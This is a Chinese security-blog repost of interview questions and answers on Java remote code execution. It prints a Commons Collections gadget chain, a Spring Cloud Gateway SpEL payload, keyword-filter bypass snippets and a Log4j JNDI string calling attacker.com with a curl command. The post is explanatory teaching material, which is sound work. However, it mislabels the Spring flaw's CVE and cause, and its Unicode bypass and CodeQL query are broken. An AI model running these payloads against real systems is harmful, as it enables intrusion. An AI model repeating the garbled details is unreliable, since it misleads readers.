长亭三面我被RCE问题干翻了

admin 2025年3月2日21:10:41评论17 views字数 3376阅读11分15秒阅读模式
星球里面的小伙伴最近反馈,面试长亭3面尽然全程RCE问到地,让我来更一下常见的RCE面试题目吧。

网络安面试题库截止目前已更新68篇,近16w字,里面包含了网安的职业规划、面试准备篇幅、学习方向、求职名单、应届生面试题库、应届生笔试题库、国内外安全企业介绍、以及社会背调等。16w字的面试经验文末有彩蛋

长亭三面我被RCE问题干翻了

题目1:请解释Java反序列化漏洞导致RCE的核心原理,并以Apache Commons Collections 3.x为例,描述攻击链的构造过程(需包含关键类和方法)。

答案

  • 核心原理:Java反序列化时,若攻击者可控输入数据,可通过构造恶意对象触发目标类中危险方法(如InvokerTransformer.transform()调用任意方法)。
  • 攻击链示例

    // 利用链:AnnotationInvocationHandler.readObject() 
    // → TransformedMap.checkSetValue() 
    // → InvokerTransformer.transform()
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
    };
    ChainedTransformer chain = new ChainedTransformer(transformers);
    Map map = TransformedMap.decorate(new HashMap(), null, chain);
    // 通过反射触发AnnotationInvocationHandler反序列化
    
  • 防御:升级到Commons Collections 4.0+,或使用SerialKiller等反序列化过滤器。

题目2:在Spring框架中,如何通过SpEL(Spring Expression Language)注入实现RCE?请结合CVE-2022-22963漏洞说明利用条件及Payload构造。

答案

  • 漏洞背景:Spring Cloud Gateway在3.1.0及以下版本中,未对X-Forwarded-Prefix头进行过滤,导致SpEL表达式注入。
  • 利用条件:目标启用Actuator API且路由配置允许动态修改。
  • Payload构造

    POST /actuator/gateway/routes/test_route HTTP/1.1
    {
      "predicates": [{
        "name": "Path",
        "args": {"_genkey_0":"/test_route"}
      }],
      "filters": [{
        "name": "AddResponseHeader",
        "args": {
          "name": "X-Response",
          "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()))}"
        }
      }]
    }
    
  • 触发执行:访问/actuator/gateway/refresh刷新配置后,请求/test_route触发表达式解析。
  • 修复:升级到3.1.1+,禁用动态路由或过滤危险Header。

题目3:假设目标系统对用户输入的RCE Payload进行了黑名单过滤(如禁止RuntimeProcessBuilder等关键词),请列举三种绕过方式并举例说明。

答案

  1. 反射调用:通过反射获取Runtime类:

    Class<?> clazz = Class.forName("java.lang." + "Runtime");
    clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(null), "calc");
    
  2. Unicode/Hex编码

    // u0020 表示空格,绕过字符串检测
    String cmd = "cu" + "u0020" + "rl example.com";
    
  3. 利用其他危险类:如ScriptEngine执行JS代码:

    new javax.script.ScriptEngineManager()
      .getEngineByName("JavaScript")
      .eval("java.lang.Runtime.getRuntime().exec('calc')");
    

题目4:如何通过静态分析工具(如CodeQL)挖掘Java应用中潜在的RCE反序列化链?请描述关键分析步骤。

答案

  1. 识别危险方法:定义Sink点(如Runtime.exec()Method.invoke())。
  2. 追踪数据流:从反序列化入口(ObjectInputStream.readObject())到Sink点的数据流路径。
  3. 识别Gadget链:查找可连接Sink与Source的调用链(如readObject()Transformer.transform()InvokerTransformer)。
  4. 过滤无害调用:排除无参数传递或不可控的路径。
  5. 验证利用可行性:检查类是否可实例化、方法是否公开等。
  • 示例CodeQL查询

    from Callable source, Callable sink
    where source.getAParameter().getType().hasName("ObjectInputStream")
      and sink.hasName("exec")
      and exists(DataFlow::path(source, sink))
    select sink, source
    

题目5:如何绕过Java Security Manager的沙箱限制实现RCE?请举例说明。

答案

  • 漏洞场景:若策略文件配置错误(如允许createClassLoader权限)。
  • 绕过方式
    1. 定义恶意类加载器:通过自定义ClassLoader加载并执行字节码。
    2. 利用JNI本地库:调用JNI方法执行本地代码(需loadLibrary权限)。
    3. 反射修改Policy:通过反射修改Policy对象,动态添加权限:

      Field policyField = Policy.class.getDeclaredField("policy");
      policyField.setAccessible(true);
      Policy policy = (Policy) policyField.get(null);
      // 添加AllPermission到策略
      

题目6:Log4j2的JNDI注入漏洞(CVE-2021-44228)如何导致RCE?请说明攻击流程及防御方案。

答案

  • 攻击流程
    1. 攻击者在日志中注入${jndi:ldap://attacker.com/Exploit}
    2. Log4j2解析日志时触发JNDI请求,从恶意服务器加载远程类。
    3. 恶意类(如Exploit.class)的静态代码块中执行Runtime.getRuntime().exec("curl attacker.com/shell")
  • 防御
    1. 升级到Log4j 2.17.0+,默认禁用JNDI查找。
    2. 设置环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS=true
    3. 使用WAF过滤${jndi:等关键字。

 

原文始发于微信公众号(吉祥快学网络安全吧):长亭三面我被RCE问题干翻了

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月2日21:10:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   长亭三面我被RCE问题干翻了https://cn-sec.com/archives/3785639.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息